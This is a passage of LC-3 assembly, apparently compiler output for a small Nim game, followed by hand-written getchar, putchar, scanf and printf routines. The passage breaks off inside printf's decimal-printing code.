ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L5_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #0
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L20
ADD R7, R4, #8
LDR R7, R7, #0
jmp R7
L20
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #9
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #1
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #11
LDR R0, R0, #0
JMP R0
lc3_L11_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L12_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #1
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L21
ADD R7, R4, #10
LDR R7, R7, #0
jmp R7
L21
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #14
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #6
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #13
LDR R0, R0, #0
JMP R0
lc3_L16_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L17_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #2
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L22
ADD R7, R4, #12
LDR R7, R7, #0
jmp R7
L22
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L1_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;step;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lc3_step
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-3
ADD R0, R4, #7
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #7
LDR R0, R0, #0
JMP R0
lc3_L24_nim
ADD R7, R4, #3
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #13
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L46
ADD R7, R4, #15
ADD R7, R7, #2
LDR R7, R7, #0
jmp R7
L46
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #3
LDR R0, R0, #0
JMP R0
lc3_L27_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L28_nim
ADD R0, R4, #15
ADD R0, R0, #15
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #5
str R7, R3, #0
ADD R0, R4, #15
ADD R0, R0, #15
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #6
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #3
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R7, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R7, R3, #0
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #2
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L47
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L47
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L48
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L48
ADD R7, R4, #0
ldr R7, R7, #0
ldr R3, R5, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L49
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L49
ADD R7, R4, #0
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L32_nim
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #14
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L50
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L50
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #-1
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L51
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L51
ADD R7, R4, #1
ldr R7, R7, #0
ldr R3, R5, #-1
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L52
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L52
ADD R7, R4, #1
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #12
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L36_nim
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #11
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L53
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L53
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #-2
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L54
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L54
ADD R7, R4, #2
ldr R7, R7, #0
ldr R3, R5, #-2
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L55
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L55
ADD R7, R4, #2
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #9
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L40_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #13
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #6
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #3
ldr R3, R3, #0
add R7, R7, R3
ADD R6, R6, #-1
STR R7, R6, #0
ADD R7, R4, #5
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #6
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L25_nim
ADD R0, R4, #15
ADD R0, R0, #1
LDR R0, R0, #0
JMP R0
lc3_L26_nim
lc3_L23_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;main;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
ADD R0, R4, #15
ADD R0, R0, #11
LDR R0, R0, #0
JMP R0
lc3_L57_nim
ADD R0, R4, #15
ADD R0, R0, #0
LDR R0, R0, #0
jsrr R0
lc3_L58_nim
ADD R7, R4, #0
ldr R7, R7, #0
ADD R3, R4, #1
ldr R3, R3, #0
add R7, R7, R3
ADD R3, R4, #2
ldr R3, R3, #0
add R7, R7, R3
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRzp L64
ADD R7, R4, #15
ADD R7, R7, #10
LDR R7, R7, #0
jmp R7
L64
ADD R7, R4, #3
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #13
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L65
ADD R7, R4, #15
ADD R7, R7, #12
LDR R7, R7, #0
jmp R7
L65
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #5
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #13
LDR R0, R0, #0
JMP R0
lc3_L60_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L61_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #12
ldr R7, R7, #0
lc3_L56_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
; char getchar(void)
lc3_getchar
STR R7, R6, #-3
STR R0, R6, #-2
GETC
OUT
STR R0, R6, #-1
LDR R0, R6, #-2
LDR R7, R6, #-3
ADD R6, R6, #-1
RET
; void putchar(char)
lc3_putchar
STR R7, R6, #-3
STR R0, R6, #-2
LDR R0, R6, #0
OUT
LDR R0, R6, #-2
LDR R7, R6, #-3
ADD R6, R6, #-1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; void scanf(const char *format, ...)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SCANF_PERCENT .FILL -37
SCANF_C .FILL -99
SCANF_D .FILL -100
SCANF_S .FILL -115
SCANF_0 .FILL -48
SCANF_9 .FILL -57
SCANF_MINUS .FILL -45
SCANF_BUF .BLKW 6
lc3_scanf
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1 ;save R5 = bp
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1 ;save R4 = gp
STR R4, R6, #0
ADD R5, R5, #4 ;cheating with the bp (no longer bp)
LDR R4, R5, #0 ;got addr of format string
SCANF_LOOP ;outer loop, R0=tmp register for use with GETC
;R2 holds either cur letter of format string or
;current addr to store a char, dec, or string
LDR R2, R4, #0
ADD R2, R2, #0 ;End of format string? (0x0000)
BRz SCANF_DONE
LD R1, SCANF_PERCENT
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_MATCHCHAR ;% not found
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;% found!
ADD R4, R4, #1 ;R4 points to next char of format string
LDR R2, R4, #0
LD R1, SCANF_C
ADD R0, R2, #0 ;next char = c?
ADD R0, R0, R1
BRnp SCANF_CHECKD
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%c found
ADD R5, R5, #1
LDR R2, R5, #0 ;R2 has addr for char to be read into
GETC
OUT
STR R0, R2, #0
ADD R4, R4, #1
BRnzp SCANF_LOOP
SCANF_CHECKD
;is it %d?
LD R1, SCANF_D
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_STR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%d found
;consider using vars to store reg
;registers 0,1,2,3,7 available as tmp regs
ADD R6, R6, #-1 ;saving current ptr into format string
STR R4, R6, #0
;ADD R6, R6, #-7 ;making 7byte buffer for ascbin
;ADD R4, R6, #0 ;ptr into that buffer
LEA R4, SCANF_BUF
LD R2, SCANF_0
LD R1, SCANF_9
SCANF_SCANNUM
GETC
OUT
STR R0, R4, #0 ;Reading and storing typed char
ADD R0, R2, R0
BRZP SCANF_CHECKEDLOWER
LDR R0, R4, #0
LD R7, SCANF_MINUS
ADD R0, R0, R7
BRz SCANF_CHECKEDLOWER
LEA R0, SCANF_BUF
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_SCANNUM ;buffer is empty and wrong char, go to error?
ADD R4, R4, #-1 ;fixme: need to save this char
BRnzp SCANF_NUMDONE
SCANF_CHECKEDLOWER
LDR R0, R4, #0
ADD R0, R1, R0
BRNZ SCANF_CHECKEDUPPER
LEA R0, SCANF_BUF
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_SCANNUM ;buffer is empty and wrong char, go to error?
ADD R4, R4, #-1 ;fixme: need to save this char
BRnzp SCANF_NUMDONE
SCANF_CHECKEDUPPER
LEA R0, SCANF_BUF
ADD R0, R0, #5
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_NUMDONE ;buffer is full
ADD R4, R4, #1
BRnzp SCANF_SCANNUM
SCANF_NUMDONE
;R4 points to last char entered in (ones digit)
;ADD R7, R6, #0 ;R7 points to the highest order digit
LEA R7, SCANF_BUF
LD R0, SCANF_MINUS
LD R1, SCANF_BUF
ADD R0, R0, R1
BRnp SCANF_NOTMINUS
ADD R7, R7, #1 ;fixme check for - -
SCANF_NOTMINUS
;STR R2, R6, #-1 ;psuedo stored -'0' on stack
AND R2, R2, #0 ;R2 acts as the acumulator
SCANF_CALC
LDR R0, R7, #0
;LDR R1, R6, #-1
LD R1, SCANF_0
ADD R0, R0, R1
ADD R2, R2, R0
NOT R1, R7
ADD R1, R1, #1
ADD R1, R4, R1
BRz SCANF_CALCDONE
;R2 = 10*R2
ADD R0, R2, #0
AND R1, R1, #0
ADD R1, R1, #9 ;R1 = counter
SCANF_MULLOOP
ADD R2, R2, R0
ADD R1, R1, #-1
BRnp SCANF_MULLOOP
ADD R7, R7, #1
BRnzp SCANF_CALC
SCANF_CALCDONE
LD R0, SCANF_MINUS
LD R1, SCANF_BUF
ADD R0, R0, R1
BRnp SCANF_NOTNEG
NOT R2, R2
ADD R2, R2, #1
SCANF_NOTNEG
ADD R5, R5, #1
LDR R0, R5, #0
STR R2, R0, #0 ;store decimal number into address
;ADD R6, R6, #7
LDR R4, R6, #0
ADD R6, R6, #1 ;restoring current ptr into format string
ADD R4, R4, #1 ;point to next element of format string
BRnzp SCANF_LOOP
SCANF_STR
LD R1, SCANF_S
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_ERROR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%s found
ADD R6, R6, #-1 ;saving current ptr into format string
STR R4, R6, #0
ADD R5, R5, #1 ;getting starting addr of space for string to be read in
LDR R4, R5, #0
SCANSTRLOOP
GETC
OUT
STR R0, R4, #0 ;Reading and storing typed char
ADD R4, R4, #1
ADD R0, R0, #-10 ;End of string? Looking for CR (0x000A)
BRnp SCANSTRLOOP
SCANSTRDONE
AND R0, R0, #0 ;null terminate string
STR R0, R4, #-1
LDR R4, R6, #0 ;restore r4
ADD R6, R6, #1
ADD R4, R4, #1
BRnzp SCANF_LOOP
SCANF_MATCHCHAR
ADD R4, R4, #1
GETC
OUT
NOT R0, R0
ADD R0, R0, #1
ADD R0, R0, R2
BRz SCANF_LOOP
SCANF_ERROR
SCANF_DONE
LDR R4, R6, #0 ;restore R4
ADD R6, R6, #1
LDR R5, R6, #0 ;restore bp
ADD R6, R6, #1
LDR R7, R6, #0 ;restore ret addr
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; void printf(const char *format, ...)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PRINTF_PERCENT .FILL -37
PRINTF_C .FILL -99
PRINTF_D .FILL -100
PRINTF_S .FILL -115
PRINTF_B .FILL -98
PRINTF_O .FILL -111
PRINTF_X .FILL -120
PRINTF_ASCII .FILL 48 ;postive ascii value of '0'
.FILL 49
.FILL 50
.FILL 51
.FILL 52
.FILL 53
.FILL 54
.FILL 55
.FILL 56
.FILL 57
.FILL 65 ;A
.FILL 66
.FILL 67
.FILL 68
.FILL 69
.FILL 70
PRINTF_MINUS .FILL 45
PRINTF_BUF .BLKW 18
lc3_printf
ADD R6, R6, #-2
STR R7, R6, #0 ;return address
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
STR R4, R6, #0
ADD R5, R5, #4 ;cheating with the bp (no longer bp)
LDR R4, R5, #0 ;got addr of format string
PRINTF_LOOP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LDR R0, R4, #0
ADD R0, R0, #0 ;End of string? (0x0000)
BRz PRINTF_DONE
ADD R2, R0, #0
LD R1, PRINTF_PERCENT
ADD R2, R2, R1
BRnp PRINTF_CHAR
ADD R4, R4, #1
LDR R0, R4, #0
;is it %c?
ADD R2, R0, #0
LD R3, PRINTF_C
ADD R2, R2, R3
BRnp PRINTF_CHECKSTR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%c
ADD R5, R5, #1
LDR R0, R5, #0
PRINTF_CHAR
OUT
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_CHECKSTR
;is it %s?
ADD R2, R0, #0
LD R7, PRINTF_S
ADD R2, R2, R7
BRnp PRINTF_CHECKDEC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%s
ADD R5, R5, #1
LDR R0, R5, #0
PUTS
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_CHECKDEC
;is it %d?
ADD R2, R0, #0
LD R7, PRINTF_D
ADD R2, R2, R7
;BRnp PRINTF_ERROR
BRnp PRINTF_CHECKHEX
AND R2, R2, #0
ADD R2, R2, #-10 ;going to divide by 10 by using sub loop
